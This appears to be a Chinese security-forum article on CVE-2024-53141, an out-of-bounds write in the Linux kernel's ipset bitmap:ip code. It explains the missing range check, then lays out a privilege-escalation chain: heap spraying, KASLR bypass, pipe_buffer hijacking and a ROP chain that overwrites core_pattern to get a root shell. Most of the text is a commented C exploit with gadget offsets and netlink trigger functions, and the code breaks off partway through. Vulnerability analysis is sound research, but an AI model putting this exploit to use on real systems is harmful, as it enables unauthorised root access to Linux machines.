问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-53141 Linux 内核 netfilter子系统中 ipset 组件越界访问漏洞分析与利用
漏洞分析
CVE-2024-53141是Linux内核netfilter子系统中ipset组件的一个高危越界访问(OOB)漏洞,CVSS评分为7.8分。该漏洞源于bitmap_ip_uadt函数在处理IPSET_ATTR_CIDR参数时缺少关键的范围检查,攻击者可借此实现本地提权、内核崩溃及造成RCE
1.引言 ---- IP sets 是 netfilter/iptables 中的一个扩展,该工具用于管理这些集合。bitmap:ip 类型通过位图实现高效匹配,适合大规模 IP 地址管理 - “bitmap:ip” 类型使用一段内存范围,每个位代表一个 IPv4 地址,最多可覆盖一个 B 类网络(65535 个地址)。 - 该功能在源码文件 `net/netfilter/ipset/ip_set_bitmap_ip.c` 中实现,可通过 netlink 与之交互。 2.漏洞概述 ------ ### 2.1 问题描述 在 `bitmap_ip_uadt` 函数中,正常逻辑会先检查单个 IP 是否落在 `[map->first_ip, map->last_ip]` 范围内( \[1\]),但当请求中存在 `IPSET_ATTR_CIDR` 而不存在 `IPSET_ATTR_IP_TO` 时,代码通过 `ip_set_mask_from_to` 计算出一段起始/结束 IP( \[3\]),却**未再对起始 IP 做范围检查**,仅在后续对 `ip_to` 做边界检查( \[4\]),导致从此处可越界写入。 ### 2.2 触发条件 1. 创建一个 `bitmap:ip` 集合,指定 `first_ip` 和 `last_ip`; 2. 发起 `IPSET_CMD_ADD` 请求,仅给出 `IPSET_ATTR_IP` 和 `IPSET_ATTR_CIDR`(例如 `/3`),无 `IPSET_ATTR_IP_TO`; 3. 若 `ip = 0xffffffff`、`cidr = 3`,那么经过 `ip_set_mask_from_to` 后: - 计算出 `ip = 0xe0000000`(`224.0.0.0`) - `ip_to = 0xffffffff`(`255.255.255.255`) 4. `ip` 越界至低于 `map->first_ip`,但化整后未检查,进入循环写入,触发 OOB 写入。 ### 2.3代码分析 完整代码会在文章最后提供,此处仅做分析 ```php static int bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[], enum ipset_adt adt, u32 *lineno, u32 flags, bool retried) { // ... 省略部分代码 ... if (ip < map->first_ip || ip > map->last_ip) // [1] 检查初始 IP 是否在范围内 return -IPSET_ERR_BITMAP_RANGE; ... if (tb[IPSET_ATTR_IP_TO]) { // 如果提供了 IP_TO 参数 ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &ip_to); if (ret) return ret; if (ip > ip_to) { swap(ip, ip_to); // 交换 ip 和 ip_to,确保 ip <= ip_to if (ip < map->first_ip) // [2] 再次检查交换后的 ip 是否小于范围起始 return -IPSET_ERR_BITMAP_RANGE; } } else if (tb[IPSET_ATTR_CIDR]) { // 如果没有 IP_TO 但提供了 CIDR 参数 u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]); ... ip_set_mask_from_to(ip, ip_to, cidr); // [3] 根据 CIDR 计算新的 ip 和 ip_to } else { // 如果既没有 IP_TO 也没有 CIDR ip_to = ip; // 范围只有一个 IP } if (ip_to > map->last_ip) // [4] 检查 ip_to 是否超出范围末尾,此处出现问题:仅检查 ip_to return -IPSET_ERR_BITMAP_RANGE; for (; !before(ip_to, ip); ip += map->hosts) { // [5] 越界写入循环 e.id = ip_to_id(map, ip); // 计算 IP 对应的 ID (索引) ret = adtfn(set, &e, &ext, &ext, flags); // 调用 bitmap_ip_add,基于 e.id 写入 ext // ... 省略部分代码 ... ``` 原因分析: - **核心问题:** 在处理带有 IPSET\_ATTR\_CIDR 参数的添加/删除/测试操作时,代码首先使用用户提供的 IPSET\_ATTR\_IP 值 进行初始范围检查。如果这个初始 ip 在 map->first\_ip 和 map->last\_ip 之间,检查通过。 - **触发路径:** 当用户 不 提供 IPSET\_ATTR\_IP\_TO 但 提供 IPSET\_ATTR\_CIDR 时,代码会进入 else if 分支。函数 ip\_set\_mask\_from\_to 会根据初始 ip 和 cidr 重新计算 ip(范围的起始)和 ip\_to(范围的结束)。 - **缺陷:** 关键在于,重新计算后的 ip 值 可能 小于 map->first\_ip。然而,代码 没有 在 ip\_set\_mask\_from\_to 调用之后 再次 检查这个新的 ip 是否小于 map->first\_ip(检查点 在 if (tb\[IPSET\_ATTR\_IP\_TO\]) 分支内,这里不会执行)。 - **后果:** 检查 只验证了 ip\_to。因此,代码会进入循环,此时的 ip 可能小于 map->first\_ip。在循环内部,ip\_to\_id(map, ip) 函数会使用这个可能越界的 ip 来计算索引 e.id。 - **越界索引:** ip\_to\_id 的计算方式 ((ip & ip\_set\_hostmask(m->netmask)) - m->first\_ip) / m->hosts 在 ip 远小于 m->first\_ip 时,会产生一个非常大或非常小的(取决于具体值和整数溢出行为)索引值 e.id。 - **OOB 访问:** 这个越界的 e.id 随后被用在 adtfn(例如 bitmap\_ip\_add)函数中,通过 get\_ext(set, map, e.id) 访问 map->extensions 数组,导致越界读或写。 3.利用方式 ------ ### 3.1 OOB 写入导致堆泄露 - 在 `mtype_add`(即 `bitmap_ip_add`)中,根据 `e.id` 定位扩展数据 `get_ext = map->extensions + dsize*id`; - 若 `id` 越界,可在相邻的 kmalloc-cg-192或 SOCKBUF 缓冲区写入数据; - 通过 `ip_set_init_comment` 在注释块中写入,泄露相邻堆块地址; ### 3.2 任意值 OOB 写入 - 在启用 `SET_WITH_COUNTER` 的集合中,`mtype_add` 调用 `ip_set_init_counter(ext_counter, ext)`; - 当 `ext->bytes` 或 `ext->packets` 被设置时,可将任意 64 位值写到越界位置,篡改堆上控制结构。 ### 3.3 UAF - 利用 `msg_msgseg` 对象(kmalloc-cg-2048)与 `bitmap_ip` 同 slab 缓存, - 通过 OOB 写入控制 `msg_msgseg.next`,在 `free_msg` 中触发对任意地址的释放; - 选择 `pipe_buffer` 作为 UAF 目标,结合预判地址(基于 kmalloc-192 泄露的高 28 位),构造可控重用。 ### 3.4 KASLR 绕过及 ROP 链 1. **堆泄露**:通过对 `sk_buff` 的注释泄露,获取真实堆地址,推算内核基址; 2. **控制 `pipe_buffer->ops`**:释放后重用,覆盖管道缓冲区操作函数表, 3. **ROP 链**:利用两个 Gadget(`push rsi; jmp [rsi+0x39]` 与 `pop rsp; pop r15; ret`)实现栈切换,执行构造的 ROP, 4. **`core_pattern` 技术**:ROP 覆盖 `/proc/sys/kernel/core_pattern`,指向用户控制的二进制,触发进程崩溃后执行,获取 root shell 4.EXP分析与复现 ---------- ```php #define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <err.h> #include <string.h> #include <stdlib.h> #include <time.h> #include <stddef.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/xattr.h> #include <netinet/ip.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/syscall.h> #include <pthread.h> #include <libmnl/libmnl.h> // libmnl 用于 Netlink 消息处理 #include <sys/auxv.h> #include <sys/sendfile.h> // sendfile() #include <libnftnl/table.h> // libnftnl 相关 #include <libnftnl/flowtable.h> #include <libnftnl/chain.h> #include <libnftnl/rule.h> #include <libnftnl/expr.h> #include <libnftnl/object.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <linux/if_link.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <sys/resource.h> #include <linux/if.h> #include <linux/keyctl.h> #include <byteswap.h> #include <linux/netfilter/ipset/ip_set.h> // ipset 相关 Netlink 结构和常量 #include <linux/netfilter/ipset/ip_set_bitmap.h> #include <err.h> // 定义常量 #define NFNL_SUBSYS_ID_SHIFT 8 #define NFNL_SUBSYS_IPSET 6 // ipset 子系统 ID #define PAGE_SIZE 0x1000 #define MSG_MSG_SIZE 0x30 // sizeof(struct msg_msg) #define KMALLOC_CG_2K 0x800 // 目标 slab 大小 2048 #define MSG_MSGSEG_SIZE 0x8 // 检查系统调用返回值的宏 #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define NPIPE 0x100 // 创建的管道数量,用于回收内存为 pipe_buffer #define NMSG 0x1000 // 喷射的消息数量,用于分配 msg_msgseg #define PAUSE \ { \ int x; \ printf(":"); \ read(0, &x, 1); \ } // 调试用的暂停宏 // 全局变量 int skbuff_heap_leak[0x100][2]; // 用于堆地址泄漏的 socket pair 数组 (kmalloc-cg-512) int skbuff_kaslr_leak[0x400][2]; // 用于 KASLR 泄漏和 RIP 控制的 socket pair 数组 (kmalloc-cg-1024) int pipe_fd[0x100][2]; // 管道文件描述符数组 int msqid[0x4000]; // System V 消息队列 ID 数组 struct // 用于 msgsnd/msgrcv 的消息缓冲区 { long mtype; // 消息类型 char mtext[0x2000]; // 消息内容,大小足够触发 msg_msgseg 分配 } msg; struct msg_msg // 消息头结构 { uint64_t m_list_next; uint64_t m_list_prev; uint64_t m_type; uint64_t m_ts; uint64_t next; // 指向第一个 msg_msgseg uint64_t security; }; struct pipe_buffer // 管道缓冲区结构 { uint64_t page; uint32_t offset; uint32_t len; uint64_t ops; // 函数指针表地址 (泄露和覆盖的目标) uint32_t flags; uint32_t pad; uint64_t private; }; // 全局变量 - 漏洞利用关键数据 size_t KERNEL_BASE = 0; // 内核基地址,需要泄漏得到 #define START_ROP 0x50 // ROP 链在缓冲区中的起始偏移 #define STATIC_KBASE 0xffffffff81000000 // 用于计算 gadget 偏移的参考基地址 // ROP Gadgets (地址 = KERNEL_BASE + 偏移) #define POP_RDI (KERNEL_BASE + (0x0145e109)) // pop rdi ; ret #define POP_RSI (KERNEL_BASE + (0x0145b835)) // pop rsi ; ret #define POP_RSI2 (KERNEL_BASE + (0x00ffbe53)) // pop rsi ; mov eax, xxx ; ret (适用于 copy_from_user) #define POP_RDX (KERNEL_BASE + (0x0145dc80)) // pop rdx ; ret #define POP_RSP (KERNEL_BASE + (0x0145cc66)) // pop rsp ; ret #define PIVOT (KERNEL_BASE + (0x00b32a2b)) // push rsi ; jmp qword ptr [rsi + 0x39] (栈迁移 Gadget 1) #define PIVOT2 (KERNEL_BASE + (0x0015ccee)) // pop rsp ; pop r15 ; ret (栈迁移 Gadget 2) #define PIVOT3 (KERNEL_BASE + (0x00b32a2b)) // push rsi; jmp qword ptr [rsi+0x39]; (同 PIVOT) // 内核符号地址 (地址 = KERNEL_BASE + 偏移) #define CORE_PATTERN (KERNEL_BASE + (0xffffffff83db6520 - STATIC_KBASE)) // core_pattern 变量地址 #define COPY_FROM_USER (KERNEL_BASE + (0xffffffff81983470 - STATIC_KBASE)) // copy_from_user 函数地址 #define MSLEEP (KERNEL_BASE + (0xffffffff812784c0 - STATIC_KBASE)) // msleep 函数地址 #define ANON_PIPE_BUF_OPS_OFF (0xffffffff82c4b100 - STATIC_KBASE) // anon_pipe_buf_ops 符号偏移 char user_buf[] = "|/proc/%P/fd/666 %P"; // 要写入 core_pattern 的内容 char buf[0x1000]; // 通用缓冲区,用于读写 socket/pipe,也用于构建 ROP payload char name[0x100]; // 用于生成 ipset 名称 size_t pipe_buf_addr = 0; // 泄漏的/猜测的 pipe_buffer 地址 // ROP 链构建宏 #define ROP(idx) ((size_t *)rop)[(idx) + (START_ROP / 8)] // 构建包含 ROP 链的伪造 pipe_buffer // rop_addr: 伪造 pipe_buffer 在内核中的地址 (即 pipe_buf_addr) // rop: 指向用户空间缓冲区的指针,用于构建 payload int build_fake_pipe_buffer_with_rop_chain(size_t rop_addr, char *rop) { // 清零缓冲区,防止残留数据干扰 memset(rop, 0, 0x1000); // 设置 pipe_buffer.ops 指向 rop_addr + 0x20 *(size_t *)&rop[0x10] = rop_addr + 0x20; // pipe_buffer->ops = &fake_ops // 在 rop_addr + 0x20 处构建伪造的 pipe_buf_operations 结构 // fake_ops->release = PIVOT3 *(size_t *)&rop[0x28] = PIVOT3; // 设置 PIVOT3 跳转的目标地址 (位于 rop_addr + 0x39) // [rop_addr + 0x39] = PIVOT2 *(size_t *)&rop[0x39] = PIVOT2; // ---- ROP 链 ---- (存储在 rop[START_ROP] 开始的位置) int i = 0; // copy_from_user(CORE_PATTERN, user_buf, sizeof(user_buf); ROP(i++) = POP_RDI; // pop rdi; ret ROP(i++) = CORE_PATTERN; // rdi = &core_pattern ROP(i++) = POP_RSI2; // pop rsi; ... ; ret ROP(i++) = (size_t)&user_buf; // rsi = &user_buf (用户空间地址) ROP(i++) = POP_RDX; // pop rdx; ret ROP(i++) = sizeof(user_buf); // rdx = sizeof(user_buf) ROP(i++) = COPY_FROM_USER; // call copy_from_user // msleep(0x10000); ROP(i++) = POP_RDI; // pop rdi; ret ROP(i++) = 0x10000; // rdi = 0x10000 ROP(i++) = MSLEEP; // call msleep // 注意:ROP 链末尾不需要显式返回或退出,msleep 后内核会调度 return 0; // 返回表示成功 } // 将当前进程绑定到指定 CPU 核心 void set_cpu(int c) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(c, &mask); sched_setaffinity(0, sizeof(mask), &mask); } // 底层 Netlink 消息发送函数 int __netlink_send(int fd, const void *nlh, size_t size) { struct iovec iov = { .iov_base = (void *)nlh, .iov_len = size, }; struct msghdr msg = { .msg_name = NULL, .msg_namelen = 0, .msg_iov = &iov, .msg_iovlen = 1, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0, }; if (sendmsg(fd, &msg, 0) < 0) { perror("sendmsg()"); return -1; } return 0; } // Netlink 发送函数 (包装了 __netlink_send) static inline int netlink_send(int fd, const struct nlmsghdr *nlh) { return __netlink_send(fd, nlh, nlh->nlmsg_len); } // 打开 Netlink 套接字 int netlink_open(int proto) { struct sockaddr_nl addr = {0}; addr.nl_family = AF_NETLINK; int s = socket(AF_NETLINK, SOCK_RAW, proto); // 创建 Netlink socket if (s < 0) { perror("socket()"); return s; } if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) // 绑定地址 { perror("bind()"); return -1; } return s; } // 辅助函数:设置通用的 IP Set Netlink 消息结构 // buf: 存储消息的缓冲区 // cmd_type: Netlink 命令类型 (e.g., IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT)) // flags: Netlink 消息标志 (e.g., NLM_F_REQUEST | NLM_F_ACK) // set_name: IP Set 名称 // type_name: IP Set 类型名称 (e.g., "bitmap:ip", 仅 CREATE 需要) // family: 地址族 (e.g., AF_INET) // extra_header_size: 额外的头部大小 (通常是 nfgenmsg 大小) struct nlmsghdr *setup_ip_set_message(char *buf, int cmd_type, uint16_t flags, const char *set_name, const char *type_name, uint8_t family, int extra_header_size) { struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); // 放置 Netlink 头部 nlh->nlmsg_type = cmd_type; nlh->nlmsg_flags = flags; mnl_nlmsg_put_extra_header(nlh, extra_header_size); // 放置子系统头部 (nfgenmsg) // 添加通用属性 mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); // 协议版本 mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); // Set 名称 if (type_name) { // 仅 CREATE 命令需要类型名称 mnl_attr_put_strz(nlh, IPSET_ATTR_TYPENAME, type_name); } mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); // Revision (通常为 0) return nlh; } // 函数:创建 IP set,目标是分配在 kmalloc-cg-512 缓存中 // sock_fd: Netlink socket fd // set_name: Set 名称 // type_name: Set 类型 ("bitmap:ip") // family: 地址族 (AF_INET) // extra: 标志,如果为 true,则添加 IPSET_FLAG_WITH_COMMENT int create_ip_set_kmalloc_512(int sock_fd, const char *set_name, const char *type_name, uint8_t family, int extra) { char buf[1024]; // 消息缓冲区 // 设置 Netlink 消息头和通用属性 (命令: CREATE) struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT), NLM_F_REQUEST | NLM_F_ACK, set_name, type_name, family, 4); // 4 = sizeof(struct nfgenmsg) // 开始嵌套 IPSET_ATTR_DATA 属性 (包含类型特定数据) struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); // --- 配置 bitmap:ip 特定参数 --- // 设置 IP 范围的起始地址 (first_ip) struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); // 选择 first_ip = -0x35 (0xffffffcb) // elements = last_ip - first_ip + 1 = -1 - (-0x35) + 1 = 0x35 mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x35)); mnl_attr_nest_end(nlh, attr_ip); // 设置 IP 范围的结束地址 (last_ip) attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO); // last_ip = -1 (0xffffffff) mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); mnl_attr_nest_end(nlh, attr_ip); if (extra) // 如果需要添加 Comment 支持 { // map size = sizeof(struct bitmap_ip) + elements * set->dsize; // IPSET_FLAG_WITH_COMMENT 使 set->dsize == 0x8 (存储注释指针) // sizeof(struct bitmap_ip) 大约是 0x58 // 分配大小 = 0x58 + 0x35 * 0x8 = 0x58 + 0x1a8 = 0x200 // 0x200 字节正好落在 kmalloc-cg-512 slab 中 mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, htonl(IPSET_FLAG_WITH_COMMENT)); // 添加 Comment 标志 } mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA return netlink_send(sock_fd, nlh); // 发送消息 } // 函数:触发 OOB 写以泄漏内核堆地址 // sock_fd: Netlink socket fd // set_name: 目标 Set 名称 (之前用 create_ip_set_kmalloc_512 创建的那个) // family: 地址族 (AF_INET) int trigger_oob_leak(int sock_fd, const char *set_name, uint8_t family) { char buf[1024]; // 消息缓冲区 char comment_string[0x100] = {}; // 注释内容缓冲区 // 填充注释字符串,使其大小落在 kmalloc-192 (0x90 + header) memset(comment_string, 'A', 0x90); // 设置 Netlink 消息头和通用属性 (命令: ADD) struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT), NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL, // EXCL 确保不添加重复项 set_name, NULL, family, 4); // 开始嵌套 IPSET_ATTR_DATA 属性 struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); // --- 设置触发漏洞的参数 --- // 设置 IPSET_ATTR_IP (初始 IP) struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); // 初始 IP = -1 (0xffffffff),这个值在 [first_ip, last_ip] ([-0x35, -1]) 范围内,可以通过检查 [1] mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); mnl_attr_nest_end(nlh, attr_ip); // 设置 IPSET_ATTR_CIDR = 3 // 这将导致 ip_set_mask_from_to 计算出新的 ip = 0xe0000000 (小于 first_ip = -0x35) // 和 ip_to = 0xffffffff mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3); // 添加注释属性,其内容将被 kmalloc 分配并写入 OOB 位置 mnl_attr_put_strz(nlh, IPSET_ATTR_COMMENT, comment_string); mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA return netlink_send(sock_fd, nlh); // 发送消息,触发漏洞 } // 函数:创建 IP set,目标是分配在 kmalloc-cg-2048 缓存中 // sock_fd: Netlink socket fd // set_name: Set 名称 // type_name: Set 类型 ("bitmap:ip") // family: 地址族 (AF_INET) // extra: 标志,如果为 true,添加 IPSET_FLAG_WITH_COUNTERS int create_ip_set_kmalloc_2048(int sock_fd, const char *set_name, const char *type_name, uint8_t family, int extra) { char buf[1024]; // 消息缓冲区 // 设置 Netlink 消息头和通用属性 (命令: CREATE) struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT), NLM_F_REQUEST | NLM_F_ACK, set_name, type_name, family, 4); // 开始嵌套 IPSET_ATTR_DATA 属性 struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); // --- 配置 bitmap:ip 特定参数 --- // 设置 IP 范围的起始地址 (first_ip) struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); // 选择 first_ip = -0x40 (0xffffffc0) // elements = last_ip - first_ip + 1 = -1 - (-0x40) + 1 = 0x40 mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x40)); mnl_attr_nest_end(nlh, attr_ip); // 设置 IP 范围的结束地址 (last_ip) attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO); // last_ip = -1 (0xffffffff) mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); mnl_attr_nest_end(nlh, attr_ip); if (extra) // 如果需要添加 Counter 支持 { // 添加 Counter 标志 mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, htonl(IPSET_FLAG_WITH_COUNTERS)); // map size = sizeof(struct bitmap_ip) + elements * set->dsize; // IPSET_FLAG_WITH_COUNTERS 使 set->dsize == 0x10 (存储 counter 结构) // sizeof(struct bitmap_ip) 大约是 0x58 // 分配大小 = 0x58 + 0x40 * 0x10 = 0x58 + 0x400 = 0x458 // 0x458 字节落在 kmalloc-1k (1024) 或 kmalloc-2k (2048) 中,取决于对齐和头大小 // 作者选择 kmalloc-cg-2048,可能基于实际测试或内核版本特定行为 } mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA return netlink_send(sock_fd, nlh); // 发送消息 } // 函数:向集合中添加一个 IP 地址 (用于设置位,防止 OOB 循环失控) // sock_fd: Netlink socket fd // set_name: Set 名称 // family: 地址族 (AF_INET) // ip: 要添加的 IP 地址 (网络字节序) int add_ip_to_set(int sock_fd, const char *set_name, uint8_t family, uint32_t ip) { char buf[1024]; // 消息缓冲区 // 设置 Netlink 消息头和通用属性 (命令: ADD) struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT), NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL, set_name, NULL, family, 4); // 开始嵌套 IPSET_ATTR_DATA 属性 struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); // 设置 IPSET_ATTR_IP struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip); mnl_attr_nest_end(nlh, attr_ip); // 这里也设置了 IP_TO,确保只添加单个 IP attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO); mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip); mnl_attr_nest_end(nlh, attr_ip); mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA return netlink_send(sock_fd, nlh); // 发送消息 } // 函数:触发 OOB 写以写入任意值 (使用 Counter) // sock_fd: Netlink socket fd // set_name: 目标 Set 名称 (之前用 create_ip_set_kmalloc_2048 创建的那个) // family: 地址族 (AF_INET) int trigger_oob_write(int sock_fd, const char *set_name, uint8_t family) { char buf[1024]; // 消息缓冲区 // 设置 Netlink 消息头和通用属性 (命令: ADD) struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT), NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL, set_name, NULL, family, 4); // 开始嵌套 IPSET_ATTR_DATA 属性 struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); // --- 设置触发漏洞的参数 --- // 设置 IPSET_ATTR_IP (初始 IP) struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); // 初始 IP = -1 (0xffffffff),在 [first_ip, last_ip] ([-0x40, -1]) 范围内 mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); mnl_attr_nest_end(nlh, attr_ip); // 设置 IPSET_ATTR_CIDR = 3 // 导致新的 ip = 0xe0000000 (小于 first_ip = -0x40) mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3); // 设置要通过 OOB 写入的值 (目标是覆盖 msg_msgseg->next) // 使用 IPSET_ATTR_BYTES 和 IPSET_ATTR_PACKETS 传递 64 位值 // 需要进行字节序转换 (bswap_64),因为内核期望的是网络字节序,但写入内存时需要主机字节序 // 然而 atomic64_set 直接使用 long long,这里用 bswap_64 可能不完全正确,取决于目标架构和内核实现细节 // 但通常为了跨架构兼容性,会进行转换 mnl_attr_put_u64(nlh, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); // 要写入的猜测的 pipe_buffer 地址 mnl_attr_put_u64(nlh, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); // 写入相同的值到 packets 字段 mnl_attr_nest_end(nlh, attr_data); // 结束 IPSET_ATTR_DATA return netlink_send(sock_fd, nlh); // 发送消息,触发 OOB 写 } // 函数:检查 core_pattern 是否已被修改 int check_core() { char buf[0x100] = {}; int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); // 打开 core_pattern 文件 if (core < 0) return 0; // 打开失败则认为未修改 read(core, buf, sizeof(buf) - 1); // 读取内容 close(core); // 比较读取到的内容是否以我们设置的前缀开头 return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; } // 函数:用于触发程序崩溃 (在提权后执行) // cmd: 未使用的参数 void crash(char *cmd) { // 1. 创建内存文件描述符 int memfd = memfd_create("", 0); SYSCHK(memfd); // 2. 将当前可执行文件内容复制到内存 fd SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); // 3. 将内存 fd 复制到 fd 666 (core_pattern 中使用的 fd) dup2(memfd, 666); close(memfd); // 关闭原始 memfd // 4. 循环等待,直到 core_pattern 被 ROP 链修改 while (check_core() == 0) usleep(100); // 短暂休眠,避免 CPU 占用过高 puts("Root shell !!"); // 5. 触发崩溃 (写入 NULL 指针) *(size_t *)0 = 0; } // 主函数 int main(int argc, char **argv) { setvbuf(stdout, 0, 2, 0); // 关闭 stdout 缓冲 // --- Payload 执行逻辑 --- // 如果收到了参数 (由 core_pattern 启动时会传入 PID),则执行提权后的操作 if (argc > 1) { // #define SYS_pidfd_getfd 438 (获取 pidfd 指向进程的 fd) // #define SYS_pidfd_open 434 (打开一个进程的 pidfd) int pid = strtoull(argv[1], 0, 10); // 获取崩溃进程的 PID int pfd = syscall(SYS_pidfd_open, pid, 0); // 打开该进程的 pidfd SYSCHK(pfd); // 获取原始进程 (exploit 主进程) 的标准输入/输出/错误 fd int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); SYSCHK(stdinfd); SYSCHK(stdoutfd); SYSCHK(stderrfd); // 将当前进程 (root 权限) 的标准输入输出重定向到原始进程 dup2(stdinfd, 0); dup2(stdoutfd, 1); dup2(stderrfd, 2); close(pfd); close(stdinfd); close(stdoutfd); close(stderrfd); // 执行命令获取 flag 并关机 system("cat /flag;echo o>/proc/sysrq-trigger"); exit(0); // 确保退出 } // --- 崩溃触发器进程 --- // fork 一个子进程,该子进程将等待 core_pattern 被修改后触发崩溃 if (fork() == 0) { set_cpu(0); // 绑定到 CPU 0 setsid(); // 创建新会话,脱离控制终端 crash(""); // 进入崩溃等待和触发逻辑 exit(0); // 不应执行到这里 } // --- Exploit 主进程 --- set_cpu(1); // 绑定到 CPU 1,减少与其他进程的干扰 // 提高文件描述符限制,因为会打开大量 socket 和 pipe struct rlimit rlim = { .rlim_cur = 0x1000, .rlim_max = 0x1000}; SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); // --- 准备 KASLR 泄漏阶段的堆喷射 --- // 创建大量 UNIX domain socket pairs for (int i = 0; i < 0x400; i++) { size_t val = 0x400000; // 设置大的缓冲区,可能影响 skb 分配 SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_kaslr_leak[i])); // 设置 socket 缓冲区大小 (SO_SNDBUF, SO_RCVBUF) SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_SNDBUF, &val, 4)); SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_SNDBUF, &val, 4)); SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_RCVBUF, &val, 4)); SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_RCVBUF, &val, 4)); } // --- 喷射 sk_buff (kmalloc-cg-1024) --- // 向 socket 写入数据,触发 skb 分配 (大小 0x200 + 头 ~ 1KB) // 这是为了后续 KASLR 泄漏和 UAF -> RIP 控制阶段做准备 // 目的是让堆中充满 skb,增加后续操作命中 skb 的概率 for (int i = 0; i < 0x400; i++) { for (int j = 0; j < 0x100; j++) { // 写入 0x200 字节,加上 skb 